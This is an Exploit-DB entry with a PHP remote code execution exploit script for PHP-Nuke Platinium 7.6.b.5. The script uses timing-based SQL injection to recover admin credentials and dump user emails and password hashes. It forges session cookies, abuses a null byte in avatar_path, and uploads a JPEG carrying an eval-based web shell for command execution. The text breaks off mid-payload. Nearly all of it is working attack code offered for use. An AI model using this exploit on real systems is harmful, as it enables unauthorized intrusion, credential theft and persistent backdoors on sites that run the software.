Exploit-DB #5986
Description: PHP-Nuke Platinium 7.6.b.5 - Remote Code Execution
Type: webapps
Platform: php
Date: 2008-07-01
Author: Charles Fol

Exploit:
<?php
##
## PHP Nuke Platinium <= 7.6.b.5 Remote Code Execution Exploit
## Author: Charles "real" F. <charlesfol[at]hotmail.fr>
## Date:   02/07/08
##
## Note
## ****
## I modified a bit phpsploit for this exploit,
## because PHP Nuke plays with REQUEST_URI var ...
## 
## Requirements
## ************
## register_globals=On
##
## phpreter
## ********
## phpreter is really easy to use:
## You can change mode using "mode=<mode>",
## with <mode> = sql, php or cmd
##
## If you want to understand how it work ...
## read the code.
##
## You can take look to unchunk() function, because
## I think you were many with this problem ...
##


#
# Configuration
#

$xpl = new phpsploit();

$xpl->agent('Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14');

print "##\n";
print "## PHP Nuke Platinium 7.6.b.5\n";
print "## Remote Code Execution Exploit\n";
print "## by Charles <real> F. <charlesfol[at]hotmail.fr>\n";
print "## [http://realn.free.fr/]\n";
print "##\n";

if($argc<3)
{
	print "##--- USAGE -----------------------------------------------\n";
	print "## [c:\]# php nuke_platinium_exploit.php [options]\n";
	print "##\n";
	print "##  -url       Target URL\n";
	print "##  -shell     If you only wan't to load again phpreter,\n";
	print "##             specify with this param your shell URL\n";
	print "##  -account   A GOD admin account (optional)\n";
	print "##             password can be md5 or plain text\n";
	print "##             user:passwd\n";
	print "##  -bmark     How many time must pass to consider SQL\n";
	print "##             returned true (in seconds) and how many\n";
	print "##             operations you want SQL to do (optional)\n";
	print "##             default: 4:6000000\n";
	print "##\n";
	print "## eg:\n";
	print "## ./exploit.php -url http://target.net/ -bmark 5:4000000\n";
	print "## ./exploit.php -url http://target.net/ -admin god:pwd\n";
	print "## ./exploit.php -shell http://target.net/tmp_1339.php\n";
	print "##---------------------------------------------------------\n";
	exit();
}

# Parameters

$url            = getparam('url');
$shell_url      = getparam('shell');
$account        = getparam('account') ? getparam('account') : '';
$bmark          = getparam('bmark')   ? getparam('bmark')   : '4:6000000';

list($bmark_time, $bmark_numb) = explode(':', $bmark);

if(!$url && !$shell_url)
{
	print "## Ok dude, are you an idiot ?\n";
	exit();
}

# SQL Configuration for phpreter

$sql = array(
		'config.php',
		'$dbhost',
		'$dbuname',
		'$dbpass',
		'$dbname',
);

if($shell_url)
{
	print "##--- SHELL -----------------------------------------------\n";
	print "## URL: $shell_url\n";
	print "##---------------------------------------------------------\n";

	$shell = new phpreter($shell_url, '-:-(.*)-:-', 'cmd', $sql, false);
	
	exit();
}

if(!preg_match('#ORDER by date#',$xpl->post($url.'includes/pdf.php',"what=getpdf&table=_blocked_iplist '-")))
{
	print "## register_globals=Off, exiting.\n";
	print "##\n";
	exit();
}

#
# Admin credentials
#

if(!empty($account))
{
	list($aid, $pwd) = explode(':',$account);
	if(!preg_match('#[a-f0-9]{32}#i',$pwd)) $pwd = md5($pwd);
}

print "##--- ADMIN -----------------------------------------------\n";

print "## Admin ID: ";
isset($aid) ? print $aid."\n" : $aid = bmark('aid','abcdefghijklmnopqrstuvwxyz[PII_REDACTED]');

print "## Password: ";
isset($pwd) ? print $pwd."\n" : $pwd = bmark('pwd','abcdef[PII_REDACTED]');

print "##---------------------------------------------------------\n";
print "##\n";

#
# User data
#

# We set up admin access

$c_admin = base64_encode($aid.':'.$pwd);
$xpl->addcookie('admin', urlencode($c_admin));

# Ok, now, we need an user for the upload

$query = "SELECT CONCAT(0x3a3a3a,user_id,0x3a,username,0x3a,user_email,0x3a,user_password,0x3a3a3a) FROM nuke_users ORDER BY user_id DESC LIMIT 1";
$data = sqlexec($query);

$data = explode(':::',$data);
list($user_id, $user_name, $user_mail, $user_pwd) = explode(':',$data[1]);

$c_user = base64_encode($user_id.':'.$user_name.':'.$user_pwd);
$xpl->addcookie('user', urlencode($c_user));

# We need a valid SID
$xpl->get($url.'modules.php?name=Forums&file=profile&mode=editprofile');
preg_match('#sid" value="([a-f0-9]{32})#i', $xpl->getcontent(), $c_sid);

$c_sid = $c_sid[1];
$xpl->addcookie('_sid',$c_sid);

print "##--- USER ------------------------------------------------\n";
print "## User ID : ".$user_id."\n";
print "## Name    : ".$user_name."\n";
print "## Mail    : ".$user_mail."\n";
print "## Password: ".$user_pwd."\n";
print "##---------------------------------------------------------\n";
print "##\n";

#
# Cookies
#

print "##--- COOKIES -----------------------------------\n";
print "## user=".$c_user."\n";
print "## admin=".$c_admin."\n";
print "##---------------------------------------------------------\n";
print "##\n";

#
# File upload
#

print "## Uploading the file ";
$rand_filename = 'tmp_'.rand().'.php';

# Step #1: avatar_path='w00t.php\0'
sqlexec("UPDATE nuke_bbconfig SET config_value='$rand_filename\\0' WHERE config_name='avatar_path'");
print ".";

# Step #2: JPEG upload (bypassing restrictions)

# $c0de contains as a jpeg comment
# print '-:-';eval(stripslashes($_SERVER['HTTP_SHELL']));print '-:-';
#
# To people who is laughing to me when I stripslashes() the header:
# On specifics servers, HTTP headers are addslashed.
# This gave, in fact, the attack #2 in my Nuked-Klan sploit.
#
$c0de = ""
. "\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x60"
. "\x00\x60\x00\x00\xff\xdb\x00\x43\x00\x08\x06\x06\x07\x06\x05\x08"
. "\x07\x07\x07\x09\x09\x08\x0a\x0c\x14\x0d\x0c\x0b\x0b\x0c\x19\x12"
. "\x13\x0f\x14\x1d\x1a\x1f\x1e\x1d\x1a\x1c\x1c\x20\x24\x2e\x27\x20"
. "\x22\x2c\x23\x1c\x1c\x28\x37\x29\x2c\x30\x31\x34\x34\x34\x1f\x